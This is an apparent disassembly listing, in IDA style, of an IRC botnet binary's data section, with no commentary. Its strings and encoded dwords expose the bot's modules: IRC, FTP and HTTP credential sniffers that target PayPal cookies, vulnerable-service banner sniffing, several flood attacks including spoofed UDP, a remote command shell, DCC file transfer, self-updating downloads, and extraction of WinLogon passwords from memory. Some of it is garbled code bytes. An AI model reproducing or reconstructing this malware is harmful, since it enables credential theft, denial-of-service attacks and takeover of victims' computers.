dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00436C54o
align 4
off_4374B8 dd offset word_505446 ; DATA XREF: ___:00436C50o
off_4374BC dd offset aFailedToSta_36+25h ; DATA XREF: ___:00436C4Co
off_4374C0 dd offset word_544F42 ; DATA XREF: ___:00436C48o
dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h
dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0
dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h
dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
dd 64252064h, 0
dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 696E7370h, 3026666h
aSocketFailedRe db '- socket() failed, returned %d',0
align 4
aHashin db ':!hashin',0 ; DATA XREF: sub_412EEC+103o
align 4
a_hashin db ':.hashin',0 ; DATA XREF: sub_412EEC+EEo
align 10h
aIdent_0 db ':!ident',0 ; DATA XREF: sub_412EEC+D9o
a_ident db ':.ident',0 ; DATA XREF: sub_412EEC+C8o
a_login db ':.Login',0 ; DATA XREF: sub_412EEC+B7o
aLogin_0 db ':!Login',0 ; DATA XREF: sub_412EEC+A6o
aLogin_1 db ':!login',0 ; DATA XREF: sub_412EEC+95o
a_login_0 db ':.login',0 ; DATA XREF: sub_412EEC+84o
a366 db '366 ',0 ; DATA XREF: sub_412EEC+73o
align 4
a302_0 db '302 ',0 ; DATA XREF: sub_412EEC:loc_412F4Eo
align 10h
aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412EEC+4Do
align 4
aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412EEC+3Co
align 4
aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412EEC+2Bo
align 10h
aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412EEC+5o
align 4
aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o
aOper db 'oper ',0 ; DATA XREF: sub_413003+51o
align 10h
aNick_1 db 'NICK ',0 ; DATA XREF: sub_413003:loc_413043o
; sub_413079+2Bo
align 4
aOper_0 db 'OPER ',0 ; DATA XREF: sub_413003+2Bo
align 10h
aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_413003+5o
align 4
aPass_1 db 'PASS ',0 ; DATA XREF: sub_413079+73o
align 4
aUser_3 db 'USER ',0 ; DATA XREF: sub_413079+62o
align 4
a230 db '230 ',0 ; DATA XREF: sub_413079:loc_4130CAo
align 4
a220 db '220 ',0 ; DATA XREF: sub_413079+3Co
align 4
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_413079+5o
align 4
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_413100+73o
aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_413100+62o
align 10h
aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_413100+51o
align 4
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_413100:loc_413140o
align 4
aPaypal db 'paypal',0 ; DATA XREF: sub_413100+2Bo
align 4
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_413100+5o
align 4
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_413187+51o
align 4
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o
align 4
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_413187+2Bo
align 4
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_413187+5o
align 4
unk_437734 db 2Dh ; - ; DATA XREF: sub_4131EC+3ECo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_43776C db 2Dh ; - ; DATA XREF: sub_4131EC+382o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_4377A4 db 2Dh ; - ; DATA XREF: sub_4131EC+351o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4377D8 db 2Dh ; - ; DATA XREF: sub_4131EC+31Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43780C db 2Dh ; - ; DATA XREF: sub_4131EC+2E2o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437840 db 2Dh ; - ; DATA XREF: sub_4131EC+14Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0
align 10h
unk_437870 db 2Dh ; - ; DATA XREF: sub_4131EC+C5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBindFailedRetu db '- bind() failed, returned %d',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
dword_4378C4 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h
; DATA XREF: sub_413694+302o
dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h
dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h
dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h
dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h
dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h
dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h
dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h
dd 25282064h, 2F424B69h, 29636573h, 0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aDoneWithFloodI db '- Done with flood (%iKB/sec).',0
align 4
dword_437AEC dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
; DATA XREF: sub_4143F7+27Do
dd 3C203A72h, 2E3E6425h, 0
dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh
dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h
dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h
dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h
dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h
dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
dd 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h
dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h
dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h
dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch
dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
dd 2E642520h, 0
db 2Dh ; -
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSo db '- Error calling socket().',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 4
aSD db '%s%d ',0
align 4
dword_437EDC dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415CC0+35o
dword_437EF0 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415CC0+10o
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o
align 4
dword_437F28 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_415DD8:loc_415E0Do
dword_437F3C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
; DATA XREF: sub_415DD8+20o
dword_437F50 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
; DATA XREF: ___:00415F27o
dd 6574656Ch, 0
dword_437F6C dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
; DATA XREF: ___:00415E8Ao
dd 676E6974h, 0
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSendTo db '- failed to send to Remote command shell',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenRe db '- failed to open remote command shell',0
align 4
unk_437FEC db 2Dh ; - ; DATA XREF: ___:004162BEo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenSo db '- failed to open socket',0
align 10h
dword_438010 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: ___:00416523o
; ___:004166B9o
dd 726F72h
unk_438028 db 2Dh ; - ; DATA XREF: ___:004164BBo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0
align 4
unk_438054 db 2Dh ; - ; DATA XREF: ___:004163C3o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aUnableToOpenSo db '- unable to open socket',0
align 4
dword_438078 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
; DATA XREF: ___:0041638Co
dd 74756Fh
dword_438090 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: ___:0041632Bo
dd 169h
unk_4380A8 db 2Dh ; - ; DATA XREF: ___:004162E8o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileDoesnTExis db '- file doesn',27h,'t exist',0
align 4
unk_4380C8 db 2Dh ; - ; DATA XREF: ___:00416243o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToBindTo db '- failed to bind to socket',0
unk_4380EC db 2Dh ; - ; DATA XREF: ___:00416205o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToCrea_2 db '- failed to create socket',0
align 10h
unk_438110 db 2Dh ; - ; DATA XREF: ___:00416734o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceivedSFromS db '- received %s from %s (%s bytes).',0
align 4
unk_43813C db 2Dh ; - ; DATA XREF: ___:0041662Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningSo db '- error opening socket',0
unk_43815C db 2Dh ; - ; DATA XREF: ___:0041660Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningFi db '- error opening file for writing',0
align 4
aAB db 'a+b',0 ; DATA XREF: ___:004165FAo
unk_43818C db 2Dh ; - ; DATA XREF: ___:004165E6o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorUnableToW db '- error unable to write file to disk',0
align 4
unk_4381BC db 2Dh ; - ; DATA XREF: ___:00416C33o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aBadUrlOrDnsErr db 'bad url or dns error at %s.',0
unk_4381E8 db 2Dh ; - ; DATA XREF: ___:00416C25o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aUpdateFailedEr db 'update failed, error executing %s',0
align 4
unk_43821C db 2Dh ; - ; DATA XREF: ___:00416B69o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
align 10h
dword_438260 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh
; DATA XREF: ___:00416AF8o
dd 25206465h, 73h
unk_43827C db 2Dh ; - ; DATA XREF: ___:00416A81o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
align 4
unk_4382B4 db 2Dh ; - ; DATA XREF: ___:00416A02o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongCrcDD_ db 'wrong crc (%d != %d).',0
align 4
unk_4382DC db 2Dh ; - ; DATA XREF: ___:00416978o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongFilesizeD db 'wrong filesize (%d != %d).',0
align 4
unk_438308 db 2Dh ; - ; DATA XREF: ___:00416935o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aGotUpdateSDkb_ db 'got update %s (%dKB).',0
align 10h
unk_438330 db 2Dh ; - ; DATA XREF: ___:00416923o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadedSDkb db 'downloaded %s (%dKB)',0
align 4
unk_438358 db 2Dh ; - ; DATA XREF: ___:00416817o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 10h
aUnknown db 'Unknown',0 ; DATA XREF: sub_416D48:loc_416D8Bo
; sub_419443+10Ao
aInvalid db 'Invalid',0 ; DATA XREF: sub_416D48:loc_416D85o
aDisk db 'Disk',0 ; DATA XREF: sub_416D48:loc_416D7Fo
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_416D48:loc_416D79o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_416D48:loc_416D73o
align 4
off_4383A8 dd offset word_4D4152 ; DATA XREF: sub_416D48:loc_416D6Do
word_4383AC dw 3Fh ; DATA XREF: sub_416D48+1Fo
; sub_41AF8F:loc_41B091r
align 10h
aFailed db 'failed',0 ; DATA XREF: sub_416DD9:loc_416EB7o
; sub_416EFD+3Bo
align 4
aSkb db '%sKB',0 ; DATA XREF: sub_416DD9+6Co
align 10h
unk_4383C0 db 2Dh ; - ; DATA XREF: sub_416EFD+8Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 4
unk_4383FC db 2Dh ; - ; DATA XREF: sub_416EFD+58o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
off_438438 dd offset byte_5C3A41 ; DATA XREF: sub_416FCF:loc_417014o
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
db 66h ; f
db 6Fh, 75h, 6Eh
db 64h ; d
db 20h, 25h, 64h
db 20h
aFiles db 'files',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingFor_0 db 'searching for file %s',0
align 4
dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_4384A8 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41743Ao
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToEnable db 'failed to enable debug privilege',0
align 4
unk_4384DC db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41740Do
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindWi db 'unable to find winlogon pid',0
unk_438508 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_417406o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindTh db 'unable to find the password in memory',0
align 10h
unk_438540 db 2Dh ; - ; DATA XREF: sub_4172C1+117o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
db 57h ; W
db 69h, 6Eh, 4Ch
db 6Fh ; o
db 67h, 6Fh, 6Eh
db 20h
db 49h, 6Eh, 66h
db 6Fh ; o
db 72h, 6Dh, 61h
db 74h ; t
db 69h, 6Fh, 6Eh
db 20h
db 28h, 50h, 49h
db 44h ; D
db 20h, 25h, 64h
db 29h ; )
db 20h, 2Dh, 20h
db 2
db 44h, 6Fh, 6Dh
db 61h ; a
db 69h, 6Eh, 2
db 3Ah ; :
db 20h, 2 dup(5Ch)
db 25h ; %
db 53h, 2Ch, 20h
db 2
db 55h, 73h, 65h
db 72h ; r
db 2, 3Ah, 20h
aSNoPassword_ db '(%S/(no password)).',0
off_43859C dd offset a_JqU0DxN ; DATA XREF: sub_4172C1+DCo
; "ы.$├÷ [·0╩dXв\"n"
dd offset byte_520045
dd offset dword_4F0044
dd offset loc_41004C+1
dd offset byte_4E0049
dd 0
off_4385B4 dd offset a_JqU0DxN ; DATA XREF: sub_4172C1+CEo
; "ы.$├÷ [·0╩dXв\"n"
dd offset byte_520045
dd offset loc_41004C+2
dd offset byte_45004D
align 8
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do
align 10h
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o
align 4
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_4172C1+55o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o
; sub_4172C1+161o ...
align 4
unk_438678 db 2Dh ; - ; DATA XREF: sub_4172C1+35o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aOnlySupportedO db 'only supported on winnt/win2k',0
align 4
aMsgina db 'MSGINA',0 ; DATA XREF: sub_417493+13Eo
align 10h
aNwgina db 'NWGINA',0 ; DATA XREF: sub_417493+123o
align 4
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_417493+AFo
align 4
dword_4386C4 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_4178F9+70o
; sub_417990+C7o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438714 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_417990+E1o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
dd 2929h
off_438768 dd offset aQ ; DATA XREF: sub_417E84+5Cr
; "q"
; ---------------------------------------------------------------------------
sbb [ebx-4E77FFBDh], dl
inc edx
add [eax+1C0042C6h], ah
mov byte ptr [edx+0], 14h
xchg eax, ebx
inc ebx
add al, dl
scasd
inc edx
add [eax-3Ah], dh
inc edx
add [edi+ebp*4-4DE7FFBEh], ch
inc edx
add [eax-3Ah], bh
inc edx
add [eax], dl
xchg eax, ebx
inc ebx
add [ebx+edx*4], cl
inc ebx
add [eax], cl
xchg eax, ebx
inc ebx
add [ebx+edx*4], al
inc ebx
add [edi+esi*4+42h], bh
add ah, ch
retf 42h
; ---------------------------------------------------------------------------
dd offset dword_439300
; ---------------------------------------------------------------------------
cld
xchg eax, edx
inc ebx
add al, bh
xchg eax, edx
inc ebx
add al, dh
retf 42h
; ---------------------------------------------------------------------------
dd offset aV ; "v"
dd offset dword_4392F4
dd offset aN ; "n"
dd offset aM ; "m"
dd offset dword_4392F0
dd offset dword_4392EC
dd offset dword_4392E8
dd offset dword_4392E4
dd offset dword_4392E0
dd offset word_4392DC
dd offset dword_4392D8
dd offset aI_0 ; "I"
dd offset dword_4392D4
dd offset dword_4392D0
dd offset aA_0 ; "A"
dd offset dword_4392CC
dd offset dword_4392C8
dd offset dword_4392C4
dd offset dword_4392C0
dd offset dword_4392BC
dd offset dword_4392B8
dd offset dword_4392B4
dd offset dword_4392B0
dd offset dword_4392AC
dd offset dword_4392A8
dd offset dword_4392A4
dd offset dword_4392A0
dd offset dword_43929C
dd offset word_439298
dd offset aM_0 ; "M"
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
dd offset aGirl ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary_0 ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset dword_439030
dd offset off_43902C
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
dd offset aRamtha ; "RAMTHA"
